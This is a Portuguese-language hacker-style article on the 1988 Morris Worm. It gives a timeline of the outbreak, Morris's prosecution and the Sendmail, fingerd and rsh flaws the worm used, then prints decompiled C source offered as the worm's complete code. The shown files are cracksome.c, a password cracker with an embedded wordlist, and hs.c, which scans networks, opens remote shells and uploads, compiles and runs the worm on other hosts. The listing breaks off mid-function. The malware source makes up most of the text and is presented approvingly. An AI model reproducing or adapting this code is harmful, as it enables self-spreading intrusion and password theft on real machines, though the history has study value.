Primeiramente  era  enviado  para a maquina a ser atacada e depois compilado,
atraves  de uma  shell  remota (rsh),  do  debug do Sendmail ou sobregravando
partes da stack do fingerd.
Servia como um meio de transporte seguro para o programa principal. Possuia o
endereco da maquina portadora ( da qual veio ),  o numero da porta que usaria
para  conectar  e  pedir  o  programa principal e uma senha. Este comando era
ocultado  pelo  proprio vector program. Se alguma coisa falhasse ou nao fosse
enviada  a  senha,  nao  haveria  conexao e o programa se autodeletaria. Isto
dificultaria  bastante  se  alguem  tentasse simular o proprio Worm e pegar o
codigo principal.

Possuia cerca de 99 linhas.


--- MAIN PROGRAM ---

Haviam  duas  versoes  pre-compiladas.  Uma  para  cada tipo de arquitetura e
sistema operacional, Sun 3 e VAX.  Desempenhava o resto das funcoes, apos ser
carregado  pelo  vector program. Tentava quebrar o maximo possivel de senhas,
checava outros hosts equivalentes e entao carregava o vector program que iria
tranportah-lo para outra maquina e assim por diante.

Possuia cerca de 2900 linhas.


tsc, tsc


        Vejam o estrago que ele fez em ordem cronologica (Tipo, o calendario
 eh dos USA, entao o verao eh em julho e tal... okz?).


VERAO DE 1988

O  Worm  foi  programado  bem antes de descobrirem q ele existia, isso porque
foram  encontradas  algumas  copias de seu codigo em C pelos programadores da
Berkley, MIT e Purdure  em seus  computadores. O codigo fonte foi desmembrado
em mais ou menos 3.000 linhas.

25 DE OUTUBRO DE 1988

Alguns rastros nos computadores da Cornell mostraram que Robert Tappan Morris
Jr. tentou durante mo tempao descobrir as senhas de seus usuarios. Resultado,
o cara  descobriu 336 senhas usando o programa Guesses, que "chuta" as senhas
mais  provaveis usadas pelos usuarios, entao Robert Morris alterou o fonte de
seu Worm, colocando um dicionario de 52.327 palavras.

29 DE OUTUBRO DE 1988

O numero de senhas descoberto por Morris aumentou para 435 e o Worm conseguiu
invadir mais uma rede da Cornell.

2 DE NOVEMBRO DE 1988 ( 5 DA TARDE )

Logo  apos  as  5h,  o  programa  foi executado em  alguns hosts conectados a
INTERNET. A partir daih o Worm passou a propagar-se muito rapidamente e fez a
festa! :-)
Foram  atacados  a  partir  da  Cornell os computadores das redes de Berkley,
Harvard,  MIT,  Princeton,  Purdue,  Illinois,  Wisconsin, Stanford, Lawrence
Livermore  National,  NASA Ames Research Center,  Rand Corp.  e muitos outros
centros de pesquisa.

2 DE NOVEMBRO DE 1988 ( 10 da noite )

A rede de 800 computadores do laboratorio Lawrence Livermore foi infectada.

2 DE NOVEMBRO DE 1988 ( 11 DA NOITE )

O  numero  de computadores infectados passou de 6.000, Morris tentou desfazer
o dano, mas ja era tarde demais, o Worm ja tinha se espalhado.
Varios  programadores  experientes  em  UNIX  espalhados pelo mundo, tentavam
fazer um programa que reparasse os danos provocados pelo Worm.

2 DE NOVEMBRO DE 1988 ( DE MADRUGADA )

Louis  Mamakos ( Q nome escroto! )  percebeu  que  seu computador, um VAX II,
estava  lento  demais, com muitas operacoes em andamento, e ele era o unico a
usar  o  sistema  naquela hora. Louis conseguiu detectar o Worm e remove-lo a
tempo de avisar a outros usuarios possivelmente infectados.

3 DE NOVEMBRO DE 1988 ( DE MADRUGADA )

O  pessoal  da  Universidade  da  California  e do Massachussets Institute of
Technology (MIT) capturaram  algumas  copias  do Worm e comecaram a analisar.
Por  volta  das 5h,  um  conjunto  de  medidas foi  tomado para deter o Worm,
incluindo  um  patch  para o Sendmail, o 1  de uma centena que veio nos anos
seguintes :-)),  e  uma sugestao  extrema  publicada por mail e na USENET que
deixaria os sistemas desconectados  de qualquer REDE por tempo indeterminado,
ficando em "quarentena".

7:38

Sol Broder do Centro Espacial Goddart  recebeu  um mail informando que a NASA
tinha cancelado temporariamente todas as suas conexoes a INTERNET.

9:00 da Noite

Um metodo eficaz de combate sem que fosse preciso modificar os utilitarios de
sistema foi descoberto e rapidamente distribuido.  A Berkely se encarregou de
distribuir  os  diversos patches. O Worm, enfim, tinha sido controlado. Agora
soh restava analisar o codigo e descobrir quem o havia programado e porque.

DEZEMBRO DE 1988

O  DARPA ( Defence Advanced Research Projects Agency ) criou o CERT (Computer
Emergency Response Team ),  com  a  finalidade de desenvolver patches para os
sistemas UNIX.

27 DE JULHO DE 1989

Morris  foi  indiciado por um juri federal pela criacao do Worm. Se ele fosse
julgado culpado a sentenca seria de 5 anos, com fianca de $250.000.

22 DE JANEIRO DE 1990

Ele  foi  considerado culpado de acordo com o Computer Fraud and Abuse Act de
1986.

4 DE MAIO DE 1990

Robert Morris pegou a pena de 3 anos,  $10.000 e 400 horas de servicos para a
comunidade ( Putz! ).

Fim da cronologia.


O Worm esplorou 3 falhas em sistemas UNIX.


- Sendmail

O Sendmail eh um programa para receber, ler e enviar mails (ooohhh). Ele pode
rodar tanto como cliente ou servidor. O bug usado se utilizava quando o este
rodava  como daemon e ficava esperando por novas conexoes na porta 25 (SMTP).
Quando  uma nova conexao eh detectada, espera-se por valores como informacoes
de  quem  enviou, para quem vai, a mensagem, etc.. Soh que o Sendmail possuia
uma  opcap  de  DEBUG,  criada para testes e, entao o Worm se utilizava disto
para passar outros comandos ao inves dos permitidos em modo normal.


- Fingerd

Todos  sabem  que  o  finger  eh utilizado para se obter informacoes sobre os
usuarios  do sistema, incluindo se estao logados no momento ou nao. O fingerd
nada mais eh que o daemon do finger, que roda em background e aceita conexoes
de programas remotos.O bug exploitado estava relacionado ao buffer de entrada
usado pelo fingerd.

Primeiramente,  ele  usava uma wordlist para descobrir as senhas mais comuns.
Foram  quebradas  mais  ou menos 50% das senhas assim. Entao, o Worm e lia as
informacoes  do  passwd  para  tentar  descobrir mais senhas e posteriormente
tentar  infectar  mais  hosts. Uma grande vantagem eh que o arquivo de senhas
dos  usuarios  podia  ser lido por qualquer um (naquele tempo poucos sistemas
tinham shadow).  Ele procurava  por  contas  sem senha, senha igual ao login,
login repetido  (loginlogin), Sobrenome, Nome, sobrenome, nome e nigol (login
ao contrario).


- rsh/rexec

O Worm tambem verificava pela presenca de hosts equivalentes (trusted), lendo
as  informacoes  de arquivos como .rhosts e hosts.equiv. Logo que achava, jah
se copiava para o novo sistema e assim por diante...

O  Worm  alem  de  se  espalhar,  apagava  seus rastros deixados (nao todos),
dificultando assim a sua presenca e remocao do sistema.

E eh isso ai....

Aqui vai o source completo do worm. 


<--------- CRACKSOME.C --------->
/* Dover */

#include "worm.h"
#include <stdio.h>
#include <ctype.h>
#include <strings.h>
#include <pwd.h>

int cmode;
extern struct hst *h_name2host();

struct usr {					/* sizeof(usr) == 58 */
    char *name, *o4, *o8, *o12;
    char passwd[14];				/* offset 16 */
    char decoded_passwd[14];			/* 30 */
    short pad;
    char *homedir;				/* offset 46 */
    char *gecos;				/* offset 50 */
    struct usr *next;				/* offset 54 */
};

/* Ahhh, I just love these names.  Don't change them for anything. */
static struct usr *x27f28, *x27f2c;

/* Crack some passwords. */
cracksome()
{
    switch (cmode){
    case 0:
	strat_0();
	return;					/* 88 */
    case 1:
	strat_1();
	return;
    case 2:
	try_words();
	return;
    case 3:
	dict_words();
	return;
    }
}

/* Strategy 0, look through /etc/hosts.equiv, and /.rhost for new hosts */
strat_0()					/* 0x5da4 */
{
    FILE *hosteq;
    char scanbuf[512];
    char fwd_buf[256];
    char *fwd_host;
    char getbuf[256];
    struct passwd *pwent;
    char local[20];
    struct usr *user;
    struct hst *host;				/* 1048 */
    int check_other_cnt;			/* 1052 */
    static struct usr *user_list = NULL;

    hosteq = fopen(XS("/etc/hosts.equiv"), XS("r"));
    if (hosteq != NULL) {			/* 292 */
	while (fscanf(hosteq, XS("%.100s"), scanbuf)) {
	    host = h_name2host(scanbuf, 0);
	    if (host == 0) {
		host = h_name2host(scanbuf, 1);
		getaddrs(host);
	    }
	    if (host->o48[0] == 0)		/* 158 */
		continue;
	    host->flag |= 8;
	}
	fclose(hosteq);				/* 280 */
    }

    hosteq = fopen(XS("/.rhosts"), XS("r"));
    if (hosteq != NULL) {			/* 516 */
	while (fgets(getbuf, sizeof(getbuf), hosteq)) { /* 344,504 */
	    if (sscanf(getbuf, XS("%s"), scanbuf) != 1)
		continue;
	    host = h_name2host(scanbuf, 0);
	    while (host == 0) {			/* 436, 474 */
		host = h_name2host(scanbuf, 1);
		getaddrs(host);
	    }
	    if (host->o48[0] == 0)
		continue;
	    host->flag |= 8;
	}
	fclose(hosteq);
    }

    /* look through the passwd file, checking for contact with others every
     * tenth entry. */
    setpwent();
    check_other_cnt = 0;					/* 522 */
    while ((pwent = getpwent()) != 0) {		/* 526, 1124 */
	if ((check_other_cnt % 10) == 0)
	    other_sleep(0);
	check_other_cnt++;
	sprintf(fwd_buf, XS("%.200s/.forward"), pwent->pw_dir);
	hosteq = fopen(fwd_buf, XS("r"));
	if (hosteq != NULL) {			/* 834 */
	    while (fgets(scanbuf, sizeof(scanbuf), hosteq)) { /* 650,822 */
		/* Punt the newline */
		(&scanbuf[strlen(scanbuf)])[-1] = '\0';
		fwd_host = index(scanbuf, '@');
		if (fwd_host == NULL)
		    continue;
		host = h_name2host(++fwd_host, 0);
		if (host == NULL) {
		    host = h_name2host(fwd_host, 1);
		    getaddrs(host);
		}
		if (host->o48[0] == 0)
		    continue;
		host->flag |= 8;
	    }
	    fclose(hosteq);
	}
	/* Don't do foreign or compilcated hosts */
	if (strlen(host->hostname) > 11)
	    continue;
	user = (struct usr *)malloc(sizeof(struct usr));
	strcpy(user->name, pwent->pw_name);
	strcpy(&user->passwd[0], XS("x"));
	user->decoded_passwd[0] = '\0';
	user->homedir = strcpy(malloc(strlen(pwent->pw_dir)+1), pwent->pw_dir);
	user->gecos = strcpy(malloc(strlen(pwent->pw_gecos)+1), pwent->pw_gecos
);
	user->next = user_list;
	user_list = user;
    }
    endpwent();
    cmode = 1;
    x27f2c = user_list;
    return;
}

/* Check for 'username', 'usernameusername' and 'emanresu' as passwds. */
static strat_1()				/* 0x61ca */
{
    int cnt;
    char usrname[50], buf[50];

    for (cnt = 0; x27f2c && cnt < 50; x27f2c = x27f2c->next) { /* 1740 */
	/* Every tenth time look for "me mates" */
	if ((cnt % 10) == 0)
	    other_sleep(0);
	/* Check for no passwd */
	if (try_passwd(x27f2c, XS("")))			/* other_fd+84 */
	    continue;			/* 1722 */
	/* If the passwd is something like "*" punt matching it. */
	if (strlen(x27f2c->passwd) != 13)
	    continue;
	strncpy(usrname, x27f2c, sizeof(usrname)-1);
	usrname[sizeof(usrname)-1] = '\0';
	if (try_passwd(x27f2c, usrname))
	    continue;
	sprintf(buf, XS("%.20s%.20s"), usrname, usrname);
	if (try_passwd(x27f2c, buf))
	    continue;				/* 1722 */
	sscanf(x27f2c->gecos, XS("%[^ ,]"), buf);
	if (isupper(buf[0]))
	    buf[0] = tolower(buf[0]);
	if (strlen(buf) > 3  && try_passwd(x27f2c, buf))
	    continue;
	buf[0] = '\0';
	sscanf(x27f2c->gecos, XS("%*s %[^ ,]s"), buf);
	if (isupper(buf[0]))
	    buf[0] = tolower(buf[0]);
	if (strlen(buf) > 3  && index(buf, ',') == NULL  &&
	    try_passwd(x27f2c, buf))
	    continue;
	reverse_str(usrname, buf);
	if (try_passwd(x27f2c, buf))
	    ;
    }
    if (x27f2c == 0)
	cmode = 2;
    return;
}

static reverse_str(str1, str2)			/* x642a */
     char *str1, *str2;
{
    int length, i;

    length = strlen(str1);

    for(i = 0; i < length; i++)
	str2[i] = (&str1[length-i]) [-1];
    str2[length] = '\0';
    return;
}

static try_passwd(user, str)			/* 0x6484, unchecked */
     struct usr *user;
     char *str;
{
    if (strcmp(user->passwd, crypt(str, user->passwd)) == 0  ||
	(str[0] == '\0'  &&  user->passwd == '\0')) {
	    strncpy(user->decoded_passwd, str, sizeof(user->decoded_passwd));
	    user->decoded_passwd[sizeof(user->decoded_passwd)-1] = '\0';
	    attack_user(user);
	    return 1;
	}
    return 0;
}


/* Collect hostnames and run hueristic #1 for this user's .forward and .rhosts
 */
/* This is only called from try_passwd() */
static attack_user(user)			/* 0x6514 */
     struct usr *user;
{
    FILE *fwd_fp;
    char buf[512], *hostpart;			/* l516 */
    char rhbuf[256];				/* l776 */
    char l1288[512];
    struct hst *host;				/* l1292 */

    sprintf(buf, XS("%.200s/.forward"), user->homedir);	/* <other_fd+11
5> */
    fwd_fp = fopen(buf, XS("r"));
    if (fwd_fp) {
	while (fgets(buf, sizeof(buf), fwd_fp)) { /* 2088,2222 */
	    /* Punt the newline */
	    buf[strlen(buf) - 1] = '\0';
	    hostpart = index(buf, '@');
	    /* If no hostname, it's not foreign so ignore it. */
	    if (hostpart == NULL)
		continue;
	    /* Split username and hostname */
	    *hostpart++ = '\0';

	    /* Here there appears to be a bug!!!  It works correctly
	     * by coincidence of pushing things on the stack. */
#ifndef FIX_BUGS
	    host = h_name2host(hostpart, 1);
	    hu1(user, host, buf);
#else						/* original */
	    /* 'hu1' should have another argument */
	    hu1(user, (host = h_name2host(hostpart, 1, buf)));
#endif

	}
	fclose(fwd_fp);
    }

    sprintf(buf, XS("%.200s/.rhosts"), user->homedir);
    fwd_fp = fopen(buf, XS("r"));
    if (fwd_fp) {				/* 2446 */
	while (fgets(rhbuf, sizeof(rhbuf), fwd_fp)) { /* 2312,2434 */
	    l1288[0] = '\0';
	    if (sscanf(rhbuf, XS("%s%s"), buf, l1288) < 1)
		continue;
	    host = h_name2host(buf, 1);
	    hu1(user, host, l1288);
	}
	fclose(fwd_fp);
    }
    return;
}

/* This array in the sun binary was camaflouged by having the
   high-order bit set in every char. */

char *wds[] = 					/* 0x21a74 */
{
 	"academia", "aerobics", "airplane", "albany",
 	"albatross", "albert", "alex", "alexander",
 	"algebra", "aliases", "alphabet", "amorphous",
 	"analog", "anchor", "andromache", "animals",
 	"answer", "anthropogenic", "anvils", "anything",
 	"aria", "ariadne", "arrow", "arthur",
 	"athena", "atmosphere", "aztecs", "azure",
 	"bacchus", "bailey", "banana", "bananas",
 	"bandit", "banks", "barber", "baritone",
 	"bass", "bassoon", "batman", "beater",
 	"beauty", "beethoven", "beloved", "benz",
 	"beowulf", "berkeley", "berliner", "beryl",
 	"beverly", "bicameral", "brenda", "brian",
 	"bridget", "broadway", "bumbling", "burgess",
 	"campanile", "cantor", "cardinal", "carmen",
 	"carolina", "caroline", "cascades", "castle",
 	"cayuga", "celtics", "cerulean", "change",
 	"charles", "charming", "charon", "chester",
 	"cigar", "classic", "clusters", "coffee",
 	"coke", "collins", "commrades", "computer",
 	"condo", "cookie", "cooper", "cornelius",
 	"couscous", "creation", "creosote", "cretin",
 	"daemon", "dancer", "daniel", "danny",
 	"dave", "december", "defoe", "deluge",
 	"desperate", "develop", "dieter", "digital",
 	"discovery", "disney", "drought", "duncan",
 	"eager", "easier", "edges", "edinburgh",
 	"edwin", "edwina", "egghead", "eiderdown",
 	"eileen", "einstein", "elephant", "elizabeth",
 	"ellen", "emerald", "engine", "engineer",
 	"enterprise", "enzyme", "ersatz", "establish",
 	"estate", "euclid", "evelyn", "extension",
 	"fairway", "felicia", "fender", "fermat",
 	"fidelity", "finite", "fishers", "flakes",
 	"float", "flower", "flowers", "foolproof",
 	"football", "foresight", "format", "forsythe",
 	"fourier", "fred", "friend", "frighten",
 	"fungible", "gabriel", "gardner", "garfield",
 	"gauss", "george", "gertrude", "ginger",
 	"glacier", "golfer", "gorgeous", "gorges",
 	"gosling", "gouge", "graham", "gryphon",
 	"guest", "guitar", "gumption", "guntis",
 	"hacker", "hamlet", "handily", "happening",
 	"harmony", "harold", "harvey", "hebrides",
 	"heinlein", "hello", "help", "herbert",
 	"hiawatha", "hibernia", "honey", "horse",
 	"horus", "hutchins", "imbroglio", "imperial",
 	"include", "ingres", "inna", "innocuous",
 	"irishman", "isis", "japan", "jessica",
 	"jester", "jixian", "johnny", "joseph",
 	"joshua", "judith", "juggle", "julia",
 	"kathleen", "kermit", "kernel", "kirkland",
 	"knight", "ladle", "lambda", "lamination",
 	"larkin", "larry", "lazarus", "lebesgue",
 	"leland", "leroy", "lewis", "light",
 	"lisa", "louis", "lynne", "macintosh",
 	"mack", "maggot", "magic", "malcolm",
 	"mark", "markus", "marty", "marvin",
 	"master", "maurice", "mellon", "merlin",
 	"mets", "michael", "michelle", "mike",
 	"minimum", "minsky", "moguls", "moose",
 	"morley", "mozart", "nancy", "napoleon",
 	"nepenthe", "ness", "network", "newton",
 	"next", "noxious", "nutrition", "nyquist",
 	"oceanography", "ocelot", "olivetti", "olivia",
 	"oracle", "orca", "orwell", "osiris",
 	"outlaw", "oxford", "pacific", "painless",
 	"pakistan", "papers", "password", "patricia",
 	"penguin", "peoria", "percolate", "persimmon",
 	"persona", "pete", "peter", "philip",
 	"phoenix", "pierre", "pizza", "plover",
 	"plymouth", "polynomial", "pondering", "pork",
 	"poster", "praise", "precious", "prelude",
 	"prince", "princeton", "protect", "protozoa",
 	"pumpkin", "puneet", "puppet", "rabbit",
 	"rachmaninoff", "rainbow", "raindrop", "raleigh",
 	"random", "rascal", "really", "rebecca",
 	"remote", "rick", "ripple", "robotics",
 	"rochester", "rolex", "romano", "ronald",
 	"rosebud", "rosemary", "roses", "ruben",
 	"rules", "ruth", "saxon", "scamper",
 	"scheme", "scott", "scotty", "secret",
 	"sensor", "serenity", "sharks", "sharon",
 	"sheffield", "sheldon", "shiva", "shivers",
 	"shuttle", "signature", "simon", "simple",
 	"singer", "single", "smile", "smiles",
 	"smooch", "smother", "snatch", "snoopy",
 	"soap", "socrates", "sossina", "sparrows",
 	"spit", "spring", "springer", "squires",
 	"strangle", "stratford", "stuttgart", "subway",
 	"success", "summer", "super", "superstage",
 	"support", "supported", "surfer", "suzanne",
 	"swearer", "symmetry", "tangerine", "tape",
 	"target", "tarragon", "taylor", "telephone",
 	"temptation", "thailand", "tiger", "toggle",
 	"tomato", "topography", "tortoise", "toyota",
 	"trails", "trivial", "trombone", "tubas",
 	"tuttle", "umesh", "unhappy", "unicorn",
 	"unknown", "urchin", "utility", "vasant",
 	"vertigo", "vicky", "village", "virginia",
 	"warren", "water", "weenie", "whatnot",
 	"whiting", "whitney", "will", "william",
 	"williamsburg", "willie", "winston", "wisconsin",
 	"wizard", "wombat", "woodwind", "wormwood",
 	"yacov", "yang", "yellowstone", "yosemite",
 	"zimmerman",
	0
};
int nextw = 0;					/* 0x24868 */

/* Try a list of potential passwds for each user. */
static try_words()				/* 0x66da */
{
    struct usr *user;
    int i, j;

    if (wds[nextw] == 0) {
	cmode++;
	return;					/* 2724 */
    }
    if (nextw == 0) {				/* 2550 */
	for (i = 0; wds[i]; i++)
	    ;
	permute(wds, i, sizeof(wds[0]));
    }

    for (j = 0; wds[nextw][j] != '\0'; j++)
	wds[nextw][j] &= 0x7f;
    for (user = x27f28; user; user = user->next)
	try_passwd(user, wds[nextw]);
    for (j = 0; wds[nextw][j]; j++)		/* 2664,2718 */
	wds[nextw][j] |= 0x80;
    nextw += 1;
    return;
}


/* Called only from the cracksome() dispatch loop. Tries a single word from th
e
 * dictionary, downcasing if capitalized and trying again. */
static dict_words()				/* 0x67f0 */
{
    char buf[512];
    struct usr *user;
    static FILE *x27f30;

    if (x27f30 != NULL) {
	x27f30 = fopen(XS("/usr/dict/words"), XS("r"));
	if (x27f30 == NULL)
	    return;
    }
    if (fgets(buf, sizeof(buf), x27f30) == 0) {	/* 2808,2846 */
	cmode++;
	return;
    }
    (&buf[strlen(buf)])[-1] = '\0';

    for (user = x27f28; user; user = user->next) /* 2910 */
	try_passwd(user, buf);
    if (!isupper(buf[0]))
	return;
    buf[0] = tolower(buf[0]);

    for (user = x27f28; user; user = user->next)
	try_passwd(user, buf);
    return;					/* 2988 */
}
	
/*
 * Local variables:
 * comment-column: 48
 * compile-command: "cc -S cracksome.c"
 * End:
 */
<--------- EOF --------->

<--------- HS.C --------->
/* dover */

#include "worm.h"
#include <stdio.h>
#include <strings.h>
#include <signal.h>
#include <errno.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <sys/file.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <netinet/in.h>

extern struct hst *h_addr2host(), *h_name2host();
extern int  justreturn();
extern int errno;
extern char *malloc();

int alarmed = 0;
int ngateways, *gateways;
struct hst *me, *hosts;

int nifs;
struct ifses ifs[30];				/*  Arbitrary number, fix */

/* Clean hosts not contacted from the host list. */
h_clean()					/* 0x31f0 */
{
    struct hst *newhosts, *host, *next;
    
    newhosts = NULL;
    for (host = hosts; host != NULL; host = next) {
	next = host->next;
	host->flag &= -7;
	if (host == me || host->flag != 0) {
	    host->next = newhosts;
	    newhosts = host;
	} else
	    free(host);
    }
    hosts = newhosts;
}

/* Look for a gateway we can contact. */
hg()				/* 0x3270, check again */
{
    struct hst *host;
    int i;
    
    rt_init();
    
    for (i = 0; i < ngateways; i++) {		/* 24, 92 */
	host = h_addr2host(gateways[i], 1);
	if (try_rsh_and_mail(host))
	    return 1;
    }
    return 0;
}

ha()						/* 0x32d4, unchecked */
{
    struct hst *host;
    int i, j, k;
    int l416[100];
    int l420;
    
    if (ngateways < 1)
	rt_init();
    j = 0;
    for (i = 0; i < ngateways; i++) {		/* 40, 172 */
	host = h_addr2host(gateways[i], 1);
	for (k = 0; k < 6; k++) {		/* 86, 164 */
	    if (host->o48[k] == 0)
		continue;			/* 158 */
	    if (try_telnet_p(host->o48[k]) == 0)
		continue;
	    l416[j] = host->o48[k];
	    j++;
	}
    }
    
    permute(l416, j, sizeof(l416[0]));
    
    for (i = 0; i < j; i++) {			/* 198, 260 */
	if (hi_84(l416[i] & netmaskfor(l416[i])))
	    return 1;
    }
    return 0;
}

hl()						/* 0x33e6 */
{
    int i;
    
    for (i = 0; i < 6; i++) {			/* 18, 106 */
	if (me->o48[i] == 0)
	    break;
	if (hi_84(me->o48[i] & netmaskfor(me->o48[i])) != 0)
	    return 1;
    }
    return 0;
}

hi()						/* 0x3458 */
{
    struct hst *host;
    
    for (host = hosts; host; host = host->next )
	if ((host->flag & 0x08 != 0) && (try_rsh_and_mail(host) != 0))
	    return 1;
    return 0;
}

hi_84(arg1)					/* 0x34ac */
{
    int l4;
    struct hst *host;
    int l12, l16, l20, i, l28, adr_index, l36, l40, l44;
    int netaddrs[2048];
    
    l12 = netmaskfor(arg1);
    l16 = ~l12;
    
    for (i = 0; i < nifs; i++) {		/* 128,206 */
	if (arg1 == (ifs[i].if_l24 & ifs[i].if_l16))
	    return 0;				/* 624 */
    }
    
    adr_index = 0;
    if (l16 == 0x0000ffff) {			/* 330 */
	l44 = 4;
	for (l40 = 1; l40 < 255; l40++)		/* 236,306 */
	    for (l20 = 1; l20 <= 8; l20++)	/* 254,300 */
		netaddrs[adr_index++] = arg1 | (l20 << 16) | l40;
	permute(netaddrs, adr_index, sizeof(netaddrs[0]));
    } else {					/* 432 */
	l44 = 4;
	for (l20 = 1; l20 < 255; l20++)
	    netaddrs[adr_index++] = (arg1 | l20);
	permute(netaddrs, 3*sizeof(netaddrs[0]), sizeof(netaddrs[0]));
	permute(netaddrs, adr_index - 6, 4);
    }
    if (adr_index > 20)
	adr_index = 20;
    for (l36 = 0; l36 < adr_index; l36++) {	/* 454,620 */
	l4 = netaddrs[l36];
	host = h_addr2host(l4, 0);
	if (host == NULL || (host->flag & 0x02) == 0)
	    continue;
	if (host == NULL || (host->flag & 0x04) == 0 ||
	    command_port_p(l4, l44) == 0)
	    continue;
	if (host == NULL)
	    host = h_addr2host(l4, 1);
	if (try_rsh_and_mail(host))
	    return 1;
    }
    return 0;
}

/* Only called in the function above */
static command_port_p(addr, time)		/* x36d2, <hi+634> */
     u_long addr;
     int time;
{
    int s, connection;					/* 28 */
    struct sockaddr_in sin;			/* 16 bytes */
    int (*save_sighand)();
    
    s = socket(AF_INET, SOCK_STREAM, 0);
    if (s < 0)
	return 0;
    bzero(&sin, sizeof(sin));
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = addr;
    sin.sin_port = IPPORT_CMDSERVER;		/* Oh no, not the command serve
r... */
    
    save_sighand = signal(SIGALRM, justreturn);		/* Wakeup if it
 fails */
    
    /* Set up a timeout to break from connect if it fails */
    if (time < 1)
	time = 1;
    alarm(time);
    connection = connect(s, &sin, sizeof(sin));
    alarm(0);
    
    close(s);
    
    if (connection < 0 && errno == ENETUNREACH)
	error("Network unreachable");
    return connection != -1;
}

static try_telnet_p(addr)			/* x37b2 <hi+858>, checked */
     u_long addr;
{
    int s, connection;					/* 28 */
    struct sockaddr_in sin;			/* 16 bytes */
    int (*save_sighand)();
    
    s = socket(AF_INET, SOCK_STREAM, 0);
    if (s < 0)
	return 0;
    bzero(&sin, sizeof(sin));
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = addr;
    sin.sin_port = IPPORT_TELNET;		/* This time try telnet... */
    
    /* Set up a 5 second timeout, break from connect if it fails */
    save_sighand = signal(SIGALRM, justreturn);
    alarm(5);
    connection = connect(s, &sin, sizeof(sin));
    if (connection < 0  &&  errno == ECONNREFUSED) /* Telnet connection refuse
d */
	connection = 0;
    alarm(0);					/* Turn off timeout */
    
    close(s);
    
    return connection != -1;
}

/* Used in hg(), hi(), and hi_84(). */
static try_rsh_and_mail(host)				/* x3884, <hi+1068> */
     struct hst *host;
{
    int fd1, fd2, result;
    
    if (host == me)
	return 0;				/* 1476 */
    if (host->flag & 0x02)
	return 0;
    if (host->flag & 0x04)
	return 0;
    if (host->o48[0] == 0 || host->hostname == NULL)
	getaddrs(host);
    if (host->o48[0] == 0) {
	host->flag |= 0x04;
	return 0;
    }
    other_sleep(1);
    if (host->hostname  &&		/* 1352 */
	fork_rsh(host->hostname, &fd1, &fd2,
	      XS("exec /bin/sh"))) {		/* <env+188> */
	result = talk_to_sh(host, fd1, fd2);
	close(fd1);
	close(fd2);
	/* Prevent child from hanging around in the <exiting> state */
	wait3((union wait *)NULL, WNOHANG, (struct rusage *)NULL);
	if (result != 0)
	    return result;
    }
    
    if (try_finger(host, &fd1, &fd2)) {		/* 1440 */
	result = talk_to_sh(host, fd1, fd2);
	close(fd1);
	close(fd2);
	if (result != 0)
	    return result;
    }
    if (try_mail(host))
	return 1;
    
    host->flag |= 4;
    return 0;
}


/* Check a2in() as it is updated */
/* Used in twice in try_rsh_and_mail(), once in hu1(). */
static talk_to_sh(host, fdrd, fdwr)		/* x3a20, Checked, changed <hi+
>*/
     struct hst *host;
     int fdrd, fdwr;
{
    object *objectptr;
    char send_buf[512];				/* l516 */
    char print_buf[52];				/* l568 */
    int l572, l576, l580, l584, l588,  l592;
    
    objectptr = getobjectbyname(XS("l1.c"));	/* env 200c9 */
    
    if (objectptr == NULL)
	return 0;				/* <hi+2128> */
    if (makemagic(host, &l592, &l580, &l584, &l588) == 0)
	return 0;
    send_text(fdwr, XS("PATH=/bin:/usr/bin:/usr/ucb\n"));
    send_text(fdwr, XS("cd /usr/tmp\n"));
    l576 = random() % 0x00FFFFFF;
    
    sprintf(print_buf, XS("x%d.c"), l576);
    /* The 'sed' script just puts the EOF on the transmitted program. */
    sprintf(send_buf, XS("echo gorch49;sed \'/int zz;/q\' > %s;echo gorch50\n"
),
	    print_buf);
    
    send_text(fdwr, send_buf);
    
    wait_for(fdrd, XS("gorch49"), 10);
    
    xorbuf(objectptr->buf, objectptr->size);
    l572 = write(fdwr, objectptr->buf, objectptr->size);
    xorbuf(objectptr->buf, objectptr->size);
    
    if (l572 != objectptr->size) {
	close(l588);
	return 0;				/* to <hi+2128> */
    }
    send_text(fdwr, XS("int zz;\n\n"));
    wait_for(fdrd, XS("gorch50"), 30);
    
#define COMPILE  "cc -o x%d x%d.c;./x%d %s %d %d;rm -f x%d x%d.c;echo DONE\n"
    sprintf(send_buf, XS(COMPILE), l576, l576, l576,
	    inet_ntoa(a2in(l592)), l580, l584, l576, l576);
    
    
    send_text(fdwr, send_buf);
    
    if (wait_for(fdrd, XS("DONE"), 100) == 0) {
	close(l588);
	return 0;				/* <hi+2128> */
    }
    return waithit(host, l592, l580, l584, l588);
}

makemagic(arg8, arg12, arg16, arg20, arg24)	/* checked */
     struct hst *arg8;
     int *arg12, *arg16, *arg20, *arg24;
{
    int s, i, namelen;
    struct sockaddr_in sin0, sin1;		/* 16 bytes */
    
    *arg20 = random() & 0x00ffffff;
    bzero(&sin1, sizeof(sin1));
    sin1.sin_addr.s_addr = me->l12;
    
    for (i= 0; i < 6; i++) {			/* 64, 274 */
	if (arg8->o48[i] == NULL)
	    continue;				/* 266 */
	s = socket(AF_INET, SOCK_STREAM, 0);
	if (s < 0)
	    return 0;				/* 470 */
	bzero(&sin0, sizeof(sin0));
	sin0.sin_family = AF_INET;
	sin0.sin_port = IPPORT_TELNET;
	sin0.sin_addr.s_addr = arg8->o48[i];
	errno = 0;
	if (connect(s, &sin0, sizeof(sin0)) != -1) {
	    namelen = sizeof(sin1);
	    getsockname(s, &sin1, &namelen);
	    close(s);
	    break;
	}
	close(s);
    }
    
    *arg12 = sin1.sin_addr.s_addr;
    
    for (i = 0; i < 1024; i++) {		/* 286,466 */
	s = socket(AF_INET, SOCK_STREAM, 0);
	if (s < 0)
	    return 0;				/* 470 */
	bzero(&sin0, sizeof(sin0));
	sin0.sin_family = AF_INET;
	sin0.sin_port = random() % 0xffff;
	if (bind(s, &sin0, sizeof(sin0)) != -1) {
	    listen(s, 10);
	    *arg16 = sin0.sin_port;
	    *arg24 = s;
	    return 1;
	}
	close(s);
    }
    
    return 0;
}

/* Check for somebody connecting.  If there is a connection and he has the rig
ht
 * key, send out the
 * a complete set of encoded objects to it. */

waithit(host, arg1, arg2, key, arg4)		/* 0x3e86 */
     struct hst *host;
{
    int (*save_sighand)();
    int l8, sin_size, l16, i, l24, l28;
    struct sockaddr_in sin;			/* 44 */
    object *obj;
    char files[20][128];			/* File list, 2608 */
    char *l2612;
    char strbuf[512];
    
    save_sighand = signal(SIGPIPE, justreturn);
